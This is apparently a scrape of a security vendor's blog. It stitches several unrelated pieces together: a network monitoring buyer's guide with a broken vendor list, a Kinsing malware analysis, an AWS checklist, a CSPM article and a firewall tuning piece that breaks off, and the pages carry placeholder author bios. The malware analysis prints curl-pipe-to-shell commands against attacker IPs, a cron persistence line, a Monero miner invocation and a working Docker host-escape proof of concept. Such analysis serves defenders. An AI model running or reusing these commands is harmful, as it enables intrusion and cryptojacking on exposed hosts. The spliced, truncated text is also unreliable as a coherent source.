Network security monitoring is the process of inspecting network traffic and IT infrastructure for signs of security issues. These signs can provide IT teams with valuable information about the organization’s cybersecurity posture. For example, security teams may notice unusual changes being made to access control policies. This may lead to unexpected traffic flows between on-premises systems and unrecognized web applications. This might provide early warning of an active cyberattack, giving security teams enough time to conduct remediation efforts and prevent data loss . Detecting this kind of suspicious activity without the visibility that network security monitoring provides would be very difficult. These tools and policies enhance operational security by enabling network intrusion detection, anomaly detection, and signature-based detection. Full-featured network security monitoring solutions help organizations meet regulatory compliance requirements by maintaining records of network activity and security incidents. This gives analysts valuable data for conducting investigations into security events and connect seemingly unrelated incidents into a coherent timeline. What To Evaluate in a Network Monitoring Software Provider Your network monitoring software provider should offer a comprehensive set of features for collecting, analyzing, and responding to suspicious activity anywhere on your network. It should unify management and control of your organization’s IT assets while providing unlimited visibility into how they interact with one another. Comprehensive alerting and reporting Your network monitoring solution must notify you of security incidents and provide detailed reports describing those incidents in real-time. It should include multiple toolsets for collecting performance metrics, conducting in-depth analysis, and generating compliance reports. Future-proof scalability Consider what kind of network monitoring needs your organization might have several years from now. If your monitoring tool cannot scale to accommodate that growth, you may end up locked into a vendor agreement that doesn’t align with your interests. This is especially true with vendors that prioritize on-premises implementations since you run the risk of paying for equipment and services that you don’t actually use. Cloud-delivered software solutions often perform better in use cases where flexibility is important. Integration with your existing IT infrastructure Your existing security tech stack may include a selection of SIEM platforms, IDS/IPS systems, firewalls , and endpoint security solutions. Your network security monitoring software will need to connect all of these tools and platforms together in order to grant visibility into network traffic flows between them. Misconfigurations and improper integrations can result in dangerous security vulnerabilities. A high-performance vulnerability scanning solution may be able to detect these misconfigurations so you can fix them proactively. Intuitive user experience for security teams and IT admins Complex tools often come with complex management requirements. This can create a production bottleneck when there aren’t enough fully-trained analysts on the IT security team. Monitoring tools designed for ease of use can improve security performance by reducing training costs and allowing team members to access monitoring insights more easily. Highly automated tools can drive even greater performance benefits by reducing the need for manual control altogether. Excellent support and documentation Deploying network security monitoring tools is not always a straightforward task. Most organizations will need to rely on expert support to assist with implementation, troubleshooting, and ongoing maintenance. Some vendors provide better technical support to customers than others, and this difference is often reflected in the price. Some organizations work with managed service providers who can offset some of their support and documentation needs by providing on-demand expertise when needed. Pricing structures that work for you Different vendors have different pricing structures. When comparing network monitoring tools, consider the total cost of ownership including licensing fees, hardware requirements, and any additional costs for support or updates. Certain usage models will fit your organization’s needs better than others, and you’ll have to document them carefully to avoid overpaying. Compliance and reporting capabilities If you plan on meeting compliance requirements for your organization, you will need a network security monitoring tool that can generate the necessary reports and logs to meet these standards. Every set of standards is different, but many reputable vendors offer solutions for meeting specific compliance criteria. Find out if your network security monitoring vendor supports compliance standards like PCI DSS, HIPAA, and NIST. A good reputation for customer success Research the reputation and track record of every vendor you could potentially work with. Every vendor will tell you that they are the best – ask for evidence to back up their claims. Vendors with high renewal rates are much more likely to provide you with valuable security technology than lower-priced competitors with a significant amount of customer churn. Pay close attention to reviews and testimonials from independent, trustworthy sources. Compatibility with network infrastructure Your network security monitoring tool must be compatible with the entirety of your network infrastructure. At the most basic level, it must integrate with your hardware fleet of routers, switches, and endpoint devices. If you use devices with non-compatible operating systems, you risk introducing blind spots into your security posture. For the best results, you must enjoy in-depth observability for every hardware and software asset in your network, from the physical layer to the application layer. Regular updates and maintenance Updates are essential to keep security tools effective against evolving threats. Check the update frequency of any monitoring tool you consider implementing and look for the specific security vulnerabilities addressed in those updates. If there is a significant delay between the public announcement of new vulnerabilities and the corresponding security patch, your monitoring tools may be vulnerable during that period of time. 9 Best Network Security Monitoring Providers for Identifying Cybersecurity Threats 1.

It integrates multiple monitoring tools like Snort, Suricata, Bro, and others into a single platform, making it easier to set up and manage a comprehensive network security monitoring solution. As an open-source option, it is one of the most cost-effective solutions available on the market, but may require additional development resources to customize effectively for your organization’s needs. 4. ELK Stack Elastic ELK Stack is a combination of three open-source tools: Elasticsearch, Logstash, and Kibana. It’s commonly used for log data and event analysis. You can use it to centralize logs, perform real-time analysis, and create dashboards for network security monitoring. The toolset provides high-quality correlation through large data sets and provides security teams with significant opportunities to improve security and network performance using automation. 5. Cisco Stealthwatch Cisco Stealthwatch is a commercial network traffic analysis and monitoring solution. It uses NetFlow and other data sources to detect and respond to security threats, monitor network behavior, and provide visibility into your network traffic. It’s a highly effective solution for conducting network traffic analysis, allowing security analysts to identify threats that have infiltrated network assets before they get a chance to do serious damage. 6. Wireshark Wireshark is a widely-used open-source packet analyzer that allows you to capture and analyze network traffic in real-time. It can help you identify and troubleshoot network issues and is a valuable tool for security analysts. Unlike other entries on this list, it is not a fully-featured monitoring platform that collects and analyzes data at scale – it focuses on providing deep visibility into specific data flows one at a time. 7. Snort Snort is an open-source intrusion detection system (IDS) and intrusion prevention system (IPS) that can monitor network traffic for signs of suspicious or malicious activity. It’s highly customizable and has a large community of users and contributors. It supports customized rulesets and is easy to use. Snort is widely compatible with other security technologies, allowing users to feed signature updates and add logging capabilities to its basic functionality very easily. However, it’s an older technology that doesn’t natively support some modern features users will expect it to. 8. Suricata Suricata is another open-source IDS/IPS tool that can analyze network traffic for threats. It offers high-performance features and supports rules compatible with Snort, making it a good alternative. Suricata was developed more recently than Snort, which means it supports modern workflow features like multithreading and file extraction. Unlike Snort, Suricata supports application-layer detection rules and can identify traffic on non-standard ports based on the traffic protocol. 9. Zeek (formerly Bro) Zeek is an open-source network analysis framework that focuses on providing detailed insights into network activity. It can help you detect and analyze potential security incidents and is often used alongside other NSM tools. This tool helps security analysts categorize and model network traffic by protocol, making it easier to inspect large volumes of data. Like Suricata, it runs on the application layer and can differentiate between protocols. Essential Network Monitoring Features Traffic Analysis The ability to capture, analyze, and decode network traffic in real-time is a basic functionality all network security monitoring tools should share. Ideally, it should also include support for various network protocols and allow users to categorize traffic based on those categories. Alerts and Notifications Reliable alerts and notifications for suspicious network activity, enabling timely response to security threats. To avoid overwhelming analysts with data and contributing to alert fatigue, these notifications should consolidate data with other tools in your security tech stack. Log Management Your network monitoring tool should contribute to centralized log management through network devices, apps, and security sensors for easy correlation and analysis. This is best achieved by integrating a SIEM platform into your tech stack, but you may not wish to store all of your network’s logs on the SIEM, because of the added expense. Threat Detection Unlike regular network traffic monitoring, network security monitoring focuses on indicators of compromise in network activity. Your tool should utilize a combination of signature-based detection, anomaly detection, and behavioral analysis to identify potential security threats. Incident Response Support Your network monitoring solution should facilitate the investigation of security incidents by providing contextual information, historical data, and forensic capabilities. It may correlate detected security events so that analysts can conduct investigations more rapidly, and improve security outcomes by reducing false positives. Network Visibility Best-in-class network security monitoring tools offer insights into network traffic patterns, device interactions, and potential blind spots to enhance network monitoring and troubleshooting. To do this, they must connect with every asset on the network and successfully observe data transfers between assets. Integration No single security tool can be trusted to do everything on its own. Your network security monitoring platform must integrate with other security solutions, such as firewalls, intrusion detection/prevention systems (IDS/IPS), and SIEM platforms to create a comprehensive security ecosystem. If one tool fails to detect malicious activity, another may succeed. Customization No two organizations are the same. The best network monitoring solutions allow users to customize rules, alerts, and policies to align with specific security requirements and network environments. These customizations help security teams reduce alert fatigue and focus their efforts on the most important data traffic flows on the network. Advanced Features for Identifying Vulnerabilities & Weaknesses Threat Intelligence Integration Threat intelligence feeds enhance threat detection and response capabilities by providing in-depth information about the tactics, techniques, and procedures used by threat actors. These feeds update constantly to reflect the latest information on cybercriminal activities so analysts always have the latest data. Forensic Capabilities Detailed data and forensic tools provide in-depth analysis of security breaches and related incidents, allowing analysts to attribute attacks to hackers and discover the extent of cyberattacks. With retroactive forensics, investigators can include historical network data and look for evidence of compromise in the past. Automated Response Automated responses to security threats can isolate affected devices or modify firewall rules the moment malicious behavior is detected. Automated detection and response workflows must be carefully configured to avoid business disruptions stemming from misconfigured algorithms repeatedly denying legitimate traffic. Application-level Visibility Some network security monitoring tools can identify and classify network traffic by applications and services , enabling granular control and monitoring. This makes it easier for analysts to categorize traffic based on its protocol, which can streamline investigations into attacks that take place on the application layer. Cloud and Virtual Network Support Cloud-enabled organizations need monitoring capabilities that support cloud environments and virtualized networks. Without visibility into these parts of the hybrid network, security vulnerabilities may go unnoticed. Cloud-native network monitoring tools must include data on public and private cloud instances as well as containerized assets. Machine Learning and AI Advanced machine learning and artificial intelligence algorithms can improve threat detection accuracy and reduce false positives. These features often work by examining large-scale network traffic data and identifying patterns within the dataset. Different vendors have different AI models and varying levels of competence with emerging AI technology. User and Entity Behavior Analytics (UEBA) UEBA platforms monitor asset behaviors to detect insider threats and compromised accounts. This advanced feature allows analysts to assign dynamic risk scores to authenticated users and assets, triggering alerts when their activities deviate too far from their established routine. Threat Hunting Tools Network monitoring tools can provide extra features and workflows for proactive threat hunting and security analysis. These tools may match observed behaviors with known indicators of compromise, or match observed traffic patterns with the tactics, techniques, and procedures of known threat actors.

Cloud Security Kinsing Punk: An Epic Escape From Docker Containers Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/22/20 Published We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads. Today, it’s déjà vu all over again. Only in the world of Linux. As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer. In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating. Let’s start from its simplest trick — the credentials grabber. AWS Credentials Grabber If you are using cloud services, chances are you may have used Amazon Web Services (AWS). Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with Access key ID and Secret access key of the newly created IAM user. You will then use those credentials to configure the AWS Command Line Interface ( CLI ) with the aws configure command. From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically. There is one little caveat, though. AWS CLI stores your credentials in a clear text file called ~/.aws/credentials . The documentation clearly explains that: The AWS CLI stores sensitive credential information that you specify with aws configure in a local file named credentials, in a folder named .aws in your home directory. That means, your cloud infrastructure is now as secure as your local computer. It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit. As a result, these files are harvested for all users on the compromised host and uploaded to the C2 server. Hosting For hosting, the malware relies on other compromised hosts. For example, dockerupdate[.]anondns[.]net uses an obsolete version of SugarCRM , vulnerable to exploits. The attackers have compromised this server, installed a webshell b374k , and then uploaded several malicious files on it, starting from 11 July 2020. A server at 129[.]211[.]98[.]236 , where the worm hosts its own body, is a vulnerable Docker host. According to Shodan , this server currently hosts a malicious Docker container image system_docker , which is spun with the following parameters: ./nigix –tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x –currency monero –httpd 8080 A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of alpine container image: chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh’ Docker Lan Pwner A special module called docker lan pwner is responsible for propagating the infection across other Docker hosts. To understand the mechanism behind it, it’s important to remember that a non-protected Docker host effectively acts as a backdoor trojan. Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry -H tcp://127.0.0.1:2375 in systemd unit file or daemon.json file. Once configured and restarted, the daemon will expose port 2375 for remote clients: $ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd To attack other hosts, the malware collects network segments for all network interfaces with the help of ip route show command. For example, for an interface with an assigned IP 192.168.20.25 , the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24 . For each collected network segment, it launches masscan tool to probe each IP address from the specified segment, on the following ports: Port Number Service Name Description 2375 docker Docker REST API (plain text) 2376 docker-s Docker REST API (ssl) 2377 swarm RPC interface for Docker Swarm 4243 docker Old Docker REST API (plain text) 4244 docker-basic-auth Authentication for old Docker REST API The scan rate is set to 50,000 packets/second. For example, running masscan tool over the CIDR block 192.168.20.0/24 on port 2375 , may produce an output similar to: $ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25 From the output above, the malware selects a word at the 6th position, which is the detected IP address. Next, the worm runs zgrab — a banner grabber utility — to send an HTTP request “/v1.16/version” to the selected endpoint. For example, sending such request to a local instance of a Docker daemon results in the following response: Next, it applies grep utility to parse the contents returned by the banner grabber zgrab , making sure the returned JSON file contains either “ApiVersion” or “client version 1.16” string in it. The latest version if Docker daemon will have “ApiVersion” in its banner. Finally, it will apply jq — a command-line JSON processor — to parse the JSON file, extract “ip” field from it, and return it as a string. With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim. For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script: docker -H tcp://[IP_ADDRESS]:[PORT] run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “curl [MALICIOUS_SCRIPT] | bash; …” The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers. We’ll get down to this trick in a moment. For now, let’s break down the instructions passed to the Docker daemon. The worm instructs the remote daemon to execute a legitimate alpine image with the following parameters: –rm switch will cause Docker to automatically remove the container when it exits -v /:/mnt is a bind mount parameter that instructs Docker runtime to mount the host’s root directory / within the container as /mnt chroot /mnt will change the root directory for the current running process into /mnt , which corresponds to the root directory / of the host a malicious script to be downloaded and executed Escaping From the Docker Container The malicious script downloaded and executed within alpine container first checks if the user’s crontab — a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string “129[.]211[.]98[.]236” : crontab -l | grep -e “129[.]211[.]98[.]236” | grep -v grep If it does not contain such string, the script will set up a new cron job with: echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1” ) | crontab – The code snippet above will suppress the no crontab for username message, and create a new scheduled task to be executed every minute . The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the crontab . This will effectively execute the scheduled task only once, with a one minute delay. After that, the container image quits. There are two important moments associated with this trick: as the Docker container’s root directory was mapped to the host’s root directory / , any task scheduled inside the container will be automatically scheduled in the host’s root crontab as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root’s crontab , to be executed as root Building PoC To test this trick in action, let’s create a shell script that prints “123” into a file _123.txt located in the root directory / . echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1” ) | crontab – Next, let’s pass this script encoded in base64 format to the Docker daemon running on the local host: docker -H tcp://127.0.0.1:2375 run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “echo ‘[OUR_BASE_64_ENCODED_SCRIPT]’ | base64 -d | bash” Upon execution of this command, the alpine image starts and quits. This can be confirmed with the empty list of running containers: $ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES An important question now is if the crontab job was created inside the (now destroyed) docker container or on the host? If we check the root’s crontab on the host, it will tell us that the task was scheduled for the host’s root, to be run on the host: $ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1 A minute later, the file _123.txt shows up in the host’s root directory, and the scheduled entry disappears from the root’s crontab on the host: $ sudo crontab -l no crontab for root This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host. By using the cron job trick, the malware manipulates the Docker daemon to execute malware directly on the host! Malicious Script Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions: Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025?

Cloud Security The Comprehensive 9-Point AWS Security Checklist Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 2/20/23 Published A practical AWS security checklist will help you identify and address vulnerabilities quickly. In the process, ensure your cloud security posture is up-to-date with industry standards. This post will walk you through an 8-point AWS security checklist. We’ll also share the AWS security best practices and how to implement them. The AWS shared responsibility model AWS shared responsibility model is a paradigm that describes how security duties are split between AWS and its clients. This approach considers AWS a provider of cloud security architecture. And customers still protect their individual programs, data, and other assets. AWS’s Responsibility According to this model, AWS maintains the safety of the cloud structures. This encompasses the network, the hypervisor, the virtualization layer, and the physical protection of data centers. AWS also offers clients a range of safety precautions and services. They include surveillance tools, a load balancer, access restrictions, and encryption. Customer Responsibility As a customer, you are responsible for setting up AWS security measures to suit your needs. You also do this to safeguard your information, systems, programs, and operating systems. Customer responsibility entails installing reasonable access restrictions and maintaining user profiles and credentials. You can also watch for security issues in your work setting. Let’s compare the security responsibilities of AWS and its customers in a table: Comprehensive 8-point AWS security checklist 1. Identity and access management (IAM) 2. Logical access control 3. Storage and S3 4. Asset management 5. Configuration management. 6. Release and deployment management 7. Disaster recovery and backup 8. Monitoring and incidence management Identity and access management (IAM) IAM is a web service that helps you manage your company’s AWS access and security. It allows you to control who has access to your resources or what they can do with your AWS assets. Here are several IAM best practices: Replace access keys with IAM roles. Use IAM roles to provide AWS services and apps with the necessary permissions. Ensure that users only have permission to use the resources they need. Do this by implementing the concept of least privilege . Whenever communicating between a client and an ELB, use secure SSL versions. Use IAM policies to specify rights for user groups and centralized access management. Use IAM password policies to impose strict password restrictions on all users. Logical access control Logical access control involves controlling who accesses your AWS resources. This step also entails deciding the types of actions that users can perform on the resources. You can do this by allowing or denying access to specific people based on their position, job function, or other criteria. Logical access control best practices include the following: Separate sensitive information from less-sensitive information in systems and data using network partitioning Confirm user identity and restrict the usage of shared user accounts. You can use robust authentication techniques, such as MFA and biometrics. Protect remote connectivity and keep offsite access to vital systems and data to a minimum by using VPNs. Track network traffic and spot shady behavior using the intrusion detection and prevention systems (IDS/IPS). Access remote systems over unsecured networks using the secure socket shell (SSH). Storage and S3 Amazon S3 is a scalable object storage service where data may be stored and retrieved. The following are some storage and S3 best practices: Classify the data to determine access limits depending on the data’s sensitivity. Establish object lifecycle controls and versioning to control data retention and destruction. Use the Amazon Elastic Block Store (Amazon EBS) for this process. Monitor the storage and audit accessibility to your S3 buckets using Amazon S3 access logging. Handle encryption keys and encrypt confidential information in S3 using the AWS Key Management Service (KMS). Create insights on the current state and metadata of the items stored in your S3 buckets using Amazon S3 Inventory. Use Amazon RDS to create a relational database for storing critical asset information. Asset management Asset management involves tracking physical and virtual assets to protect and maintain them. The following are some asset management best practices: Determine all assets and their locations by conducting routine inventory evaluations. Delegate ownership and accountability to ensure each item is cared for and kept safe. Deploy conventional and digital safety safeguards to stop illegal access or property theft. Don’t use expired SSL/TLS certificates. Define standard settings to guarantee that all assets are safe and functional. Monitor asset consumption and performance to see possible problems and possibilities for improvement. Configuration management. Configuration management involves monitoring and maintaining server configurations, software versions, and system settings. Some configuration management best practices are: Use version control systems to handle and monitor modifications. These systems can also help you avoid misconfiguration of documents and code . Automate configuration updates and deployments to decrease user error and boost consistency. Implement security measures, such as firewalls and intrusion sensing infrastructure. These security measures will help you monitor and safeguard setups. Use configuration baselines to design and implement standard configurations throughout all platforms. Conduct frequent vulnerability inspections and penetration testing. This will enable you to discover and patch configuration-related security vulnerabilities. Release and deployment management Release and deployment management involves ensuring the secure release of software and systems. Here are some best practices for managing releases and deployments: Use version control solutions to oversee and track modifications to software code and other IT resources. Conduct extensive screening and quality assurance (QA) processes. Do this before publishing and releasing new software or updates. Use automation technologies to organize and distribute software upgrades and releases. Implement security measures like firewalls and intrusion detection systems. Disaster recovery and backup Backup and disaster recovery are essential elements of every organization’s AWS environment. AWS provides a range of services to assist clients in protecting their data. The best practices for backup and disaster recovery on AWS include: Establish recovery point objectives (RPO) and recovery time objectives (RTO). This guarantees backup and recovery operations can fulfill the company’s needs. Archive and back up data using AWS products like Amazon S3, flow logs, Amazon CloudFront and Amazon Glacier. Use AWS solutions like AWS Backup and AWS Disaster Recovery to streamline backup and recovery. Use a backup retention policy to ensure that backups are stored for the proper amount of time. Frequently test backup and recovery procedures to ensure they work as intended. Redundancy across many regions ensures crucial data is accessible during a regional outage. Watch for problems that can affect backup and disaster recovery procedures. Document disaster recovery and backup procedures. This ensures you can perform them successfully in the case of an absolute disaster. Use encryption for backups to safeguard sensitive data. Automate backup and recovery procedures so human mistakes are less likely to occur. Monitoring and incidence management Monitoring and incident management enable you to track your AWS environment and respond to any issues. Amazon web services monitoring and incident management best practices include: Monitoring API traffic and looking for any security risks with AWS CloudTrail. Use AWS CloudWatch to track logs, performance, and resource usage. Set up modifications to AWS resources and monitor for compliance problems using AWS Config. Combine and rank security warnings from various AWS user accounts and services using AWS Security groups. Using AWS Lambda and other AWS services to implement automated incident response procedures. Establish a plan for responding to incidents that specify roles and obligations and define a clear escalation path. Exercising incident response procedures frequently to make sure the strategy works. Checking for flaws in third-party applications and applying quick fixes. The use of proactive monitoring to find possible security problems before they become incidents. Train your staff on incident response best practices. This way, you ensure that they’ll respond effectively in case of an incident. Top challenges of AWS security DoS attacks A Distributed denial of service (DDoS) attack poses a huge security risk to AWS systems. It involves an attacker bombarding a network with traffic from several sources. In the process, straining its resources and rendering it inaccessible to authorized users. To minimize this sort of danger, your DevOps should have a thorough plan to mitigate this sort of danger. AWS offers tools and services, such as AWS Shield, to assist fight against DDoS assaults. Outsider AWS compromise. Hackers can use several strategies to get illegal access to your AWS account. For example, they may use psychological manipulation or exploit software flaws. Once outsiders gain access, they may use data outbound techniques to steal your data. They can also initiate attacks on other crucial systems. Insider threats Insiders with permission to access your AWS resources often pose a huge risk. They can damage the system by modifying or stealing data and intellectual property. Only grant access to authorized users and limit the access level for each user. Monitor the system and detect any suspicious activities in real-time. Root account access The root account has complete control over an AWS account and has the highest degree of access.Your security team should access the root account only when necessary. Follow AWS best practices when assigning root access to IAM users and parties. This way, you can ensure that only those who should have root access can access the server. Security best practices when using AWS Set strong authentication policies. A key element of AWS security is a strict authentication policy. Implement password rules, demanding solid passwords and frequent password changes to increase security. Multi-factor authentication (MFA) is a recommended security measure for access control. It involves a user providing two or more factors, such as an ID, password, and token code, to gain access. Using MFA can improve the security of your account. It can also limit access to resources like Amazon Machine Images (AMIs). Differentiate security of cloud vs. in cloud Do you recall the AWS cloud shared responsibility model? The customer handles configuring and managing access to cloud services. On the other hand, AWS provides a secure cloud infrastructure. It provides physical security controls like firewalls, intrusion detection systems, and encryption. To secure your data and applications, follow the AWS shared responsibility model. For example, you can use IAM roles and policies to set up virtual private cloud VPCs. Keep compliance up to date AWS provides several compliance certifications for HIPAA, PCI DSS, and SOC 2. The certifications are essential for ensuring your organization’s compliance with industry standards. While NIST doesn’t offer certifications, it provides a framework to ensure your security posture is current. AWS data centers comply with NIST security guidelines. This allows customers to adhere to their standards. You must ensure that your AWS setup complies with all legal obligations as an AWS client. You do this by keeping up with changes to your industry’s compliance regulations. You should consider monitoring, auditing, and remedying your environment for compliance. You can use services offered by AWS, such as AWS Config and AWS CloudTrail log, to perform these tasks. You can also use Prevasio to identify and remediate non-compliance events quickly. It enables customers to ensure their compliance with industry and government standards. The final word on AWS security You need a credible AWS security checklist to ensure your environment is secure.

Tags Share this article 6/17/21 Published Cloud Security is a broad domain with many different aspects, some of them human. Even the most sophisticated and secure systems can be jeopardized by human elements such as mistakes and miscalculations. Many organizations are susceptible to such dangers, especially during critical tech configurations and transfers. Especially for example, during digital transformation and cloud migration may result in misconfigurations that can leave your critical applications vulnerable and your company’s sensitive data an easy target for cyber-attacks. The good news is that Prevasio, and other cybersecurity providers have brought in new technologies to help improve the cybersecurity situation across multiple organizations. Today, we discuss Cloud Security Posture Management (CSPM) and how it can help prevent not just misconfigurations in cloud systems but also protect against supply chain attacks. Understanding Cloud Security Posture Management First, we need to fully understand what a CSPM is before exploring how it can prevent cloud security issues. CSPM is first of all a practice for adopting security best practices as well as automated tools to harden and manage the company security strength across various cloud based services such as Software as a Service (SaaS), Infrastructure as a Service (IaaS), and Platform as a Service (PaaS). These practices and tools can be used to determine and solve many security issues within a cloud system. Not only is CSPM critical to the growth and integrity of your cloud infrastructure, but it’s also mandatory for organizations with CIS, GDPR, PCI-DSS, NIST, HIPAA and similar compliance requirements. How Does CSPM Work? There are numerous cloud service providers such as AWS , Azure , Google Cloud, and others that provide hyper scaling cloud hosted platforms as well as various cloud compute services and solutions to organizations that previously faced many hurdles with their on-site cloud infrastructures. When you migrate your organization to these platforms, you can effectively scale up and cut down on on-site infrastructure spending. However, if not appropriately handled, cloud migration comes with potential security risks. For instance, an average Lift and Shift transfer that involves a legacy application may not be adequately security hardened or reconfigured for safe use in a public cloud setup. This may result in security loopholes that expose the network and data to breaches and attacks. Cloud misconfiguration can happen in multiple ways. However, the most significant risk is not knowing that you are endangering your organization with such misconfigurations. That being the case, below are a few examples of cloud misconfigurations that can be identified and solved by CSPM tools such as Prevasio within your cloud infrastructure: Improper identity and access management : Your organization may not have the best identity and access management system in place. For instance, lack of Multi-Factor Authentication (MFA) for all users, unreliable password hygiene, and discriminatory user policies instead of group access, Role-based access, and everything contrary to best practices, including least privilege. You are unable to log in to events in your cloud due to an accidental CloudTrail error. Cloud storage misconfigurations : Having unprotected S3 buckets on AWS or Azure. CSPM can compute situations that have the most vulnerabilities within applications Incorrect secret management : Secret credentials are more than user passwords or pins. They include encryption keys, API keys, among others. For instance, every admin must use encryption keys on the server-side and rotate the keys every 90 days. Failure to do this can lead to credentials misconfigurations. Ideally, part of your cloud package must include and rely on solutions such as AWS Secrets Manager , Azure Key Vault , and other secrets management solutions. The above are a mere few examples of common misconfigurations that can be found in your cloud infrastructure, but CSPM can provide additional advanced security and multiple performance benefits. Benefits Of CSPM CSPM manages your cloud infrastructure. Some of the benefits of having your cloud infrastructure secured with CSPM boils down to peace of mind, that reassurance of knowing that your organization’s critical data is safe. It further provides long-term visibility to your cloud networks, enables you to identify violations of policies, and allows you to remediate your misconfigurations to ensure proper compliance. Furthermore, CSPM provides remediation to safeguard cloud assets as well as existing compliance libraries. Technology is here to stay, and with CSPM, you can advance the cloud security posture of your organization. To summarize it all, here are what you should expect with CSPM cloud security: Risk assessment : CSPM tools can enable you to see your network security level in advance to gain visibility into security issues such as policy violations that expose you to risk. Continuous monitoring : Since CSPM tools are versatile they present an accurate view of your cloud system and can identify and instantly flag off policy violations in real-time. Compliance : Most compliance laws require the adoption of CIS, NIST, PCI-DSS, SOC2, HIPAA, and other standards in the cloud. With CSPM, you can stay ahead of internal governance, including ISO 27001. Prevention : Most CSPM allows you to identify potential vulnerabilities and provide practical recommendations to prevent possible risks presented by these vulnerabilities without additional vendor tools. Supply Chain Attacks : Some CSPM tools, such as Prevasio , provides you malware scanning features to your applications, data, and their dependency chain on data from external supply chains, such as git imports of external libraries and more. With automation sweeping every industry by storm, CSPM is the future of all-inclusive cloud security. With cloud security posture management, you can do more than remediate configuration issues and monitor your organization’s cloud infrastructure. You’ll also have the capacity to establish cloud integrity from existing systems and ascertain which technologies, tools, and cloud assets are widely used. CSPM’s capacity to monitor cloud assets and cyber threats and present them in user-friendly dashboards is another benefit that you can use to explore, analyze and quickly explain to your team(s) and upper management. Even find knowledge gaps in your team and decide which training or mentorship opportunities your security team or other teams in the organization might require. Who Needs Cloud Security Posture Management? At the moment, cloud security is a new domain that its need and popularity is growing by the day. CSPM is widely used by organizations looking to maximize in a safe way the most of all that hyper scaling cloud platforms can offer, such as agility, speed, and cost-cutting strategies. The downside is that the cloud also comes with certain risks, such as misconfigurations, vulnerabilities and internal\external supply chain attacks that can expose your business to cyber-attacks. CSPM is responsible for protecting users, applications, workloads, data, apps, and much more in an accessible and efficient manner under the Shared Responsibility Model. With CSPM tools, any organization keen on enhancing its cloud security can detect errors, meet compliance regulations, and orchestrate the best possible defenses.

Firewall Change Management Firewall performance tuning: Common issues & resolutions Asher Benbenisty 2 min read Asher Benbenisty Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/9/23 Published A firewall that runs 24/7 requires a good amount of computing resources. Especially if you are running a complex firewall system, your performance overhead can actually slow down the overall throughput of your systems and even affect the actual functionalities of your firewall. Here is a brief overview of common firewall performance issues and the best practices to help you tune your firewall performance . 7 Common performance issues with firewalls Since firewall implementations often include some networking hardware usage, they can slow down network performance and traffic bottlenecks within your network. 1. High CPU usage The more network traffic you deal with, the more CPU time your server will need. When a firewall is running, it adds to CPU utilization since the processes need more power to execute the network packet analysis and subsequent firewall This may lead to firewall failures in extreme cases where the firewall process is completely shut down or the system experiences a noticeable lag affecting overall functionality. A simple way to resolve this issue would be to increase the hardware capabilities. But as that might not be a viable solution in all cases, you must consider minimizing the network traffic with router-level filtering or decreasing the server load with optimized 2. Route flapping Router misconfiguration or hardware failure can cause frequent advertising of alternate routes. This will increase the load on your resources and thus lead to performance issues. 3. Network errors and discards A 